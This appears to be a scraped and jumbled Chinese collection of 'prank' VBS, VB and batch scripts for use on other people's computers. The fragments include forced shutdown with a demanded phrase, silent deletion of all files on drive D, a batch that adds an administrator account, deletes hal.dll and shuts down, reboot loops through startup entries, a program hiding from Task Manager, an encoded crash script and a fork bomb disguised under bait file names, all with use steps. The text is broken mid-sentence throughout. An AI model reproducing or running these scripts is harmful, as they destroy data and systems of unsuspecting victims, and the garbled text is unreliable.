chr13 + chr13 + quot哈哈哈哈，真过瘾quot保存后 重命名为 整人VBS 然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown a 即可取消关机命令 然后使用任务管理器结束进程即可。
第一步，将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特，不说就30秒关你。
gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quot。
并且把它加到开机启动项，每每开机时就会弹出以上的气球在secdo，bat在系统盘自动创建另一个bat文件，就是关机的代码，并且加入该bat文件到开机启动项，每每一开机10秒后便开始关机，这个够呛的吧～ ^ ^。
慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfsorun quotcmd c quotquotdel d\** f q squotquotquot，0 ，true 好吧，运行后D盘就光屁股了参考 vbs整人代码大全。
代码开始，只抄横线里面的 ___echo off net user administrator nishizhu\add del s q c\Windows\System32\haldll shutdown s t 5 c 你是一头猪___代码详解echo off 隐藏命令，关闭回。
直接在代码行输入关闭系统 #重启，真，然后 复制文件，将路径设为开始菜单下的启动栏里，编译成exe文件，这样只要运行了这个程序，一开机就自动运行了，机子就会不断重启这样整人太狠了慎用啊。
Dim num， nums #39驱动器数 Dim i As Integer #39文件号 Dim j As Integer #39FOR用的变量！Private Sub Form_Load #39程序初始化#39不准重复运行本病毒If AppPrevInstance Then End End If #39在任务管理器中隐身Ap。
Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。
true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，你真听话！哈quot用到的控件和界面方面自己发挥，VB的代码根据兴趣DIY复制此代码新建文本文档命名为 整人vbe名字随便起，后缀名是vbe就可以了。
bat文件 测试平台32bit XP 功能让电脑死机 代码开始 0%0 代码结束 使用方法1新建个文档别告我你不会2复制粘贴那段代码 3保存为XXXXXbatXXXXX为随意名字，比如刷钻什么的。
bat代码创建后缀名是bat的文件夹，输入以下带吗0%0。